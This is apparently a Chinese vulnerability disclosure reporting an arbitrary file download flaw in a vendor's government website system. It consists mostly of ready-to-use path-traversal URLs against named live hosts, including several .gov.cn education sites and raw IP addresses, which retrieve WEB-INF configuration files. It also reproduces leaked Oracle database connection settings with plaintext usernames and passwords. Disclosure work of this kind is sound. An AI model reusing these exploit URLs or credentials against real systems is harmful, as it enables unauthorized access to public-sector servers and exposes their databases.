某政府系统存在任意文件下载漏洞下载

任意文件下载。好像没什么特别好介绍的了，看证明即可。

厂商：讯飞科技

http://220.168.55.61/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml

http://jydd.xjedu.gov.cn/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml

http://124.117.230.249/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml

http://gpjh.xjedu.gov.cn/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/web.xml

http://xjgk.xjedu.gov.cn/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml



http://www.hnxj.org/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml

-<bean destroy-method="close" class="org.apache.commons.dbcp.BasicDataSource" id="dataSource"> <property value="oracle.jdbc.driver.OracleDriver" name="driverClassName"/> <property value="jdbc:oracle:thin:@127.0.0.1:1521:xwcmsdb" name="url"/> <property value="cmsxj" name="username"/> <property value="cmsxj" name="password"/> <property value="false" name="defaultAutoCommit"/>



http://www.csxks.cn/FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml

<property value="oracle.jdbc.driver.OracleDriver" name="driverClassName"/> <property value="jdbc:oracle:thin:@127.0.0.1:1521:xwcmsdb" name="url"/> <property value="cmscsxzb" name="username"/> <property value="cmscsxzb" name="password"/> <property value="false" name="defaultAutoCommit"/>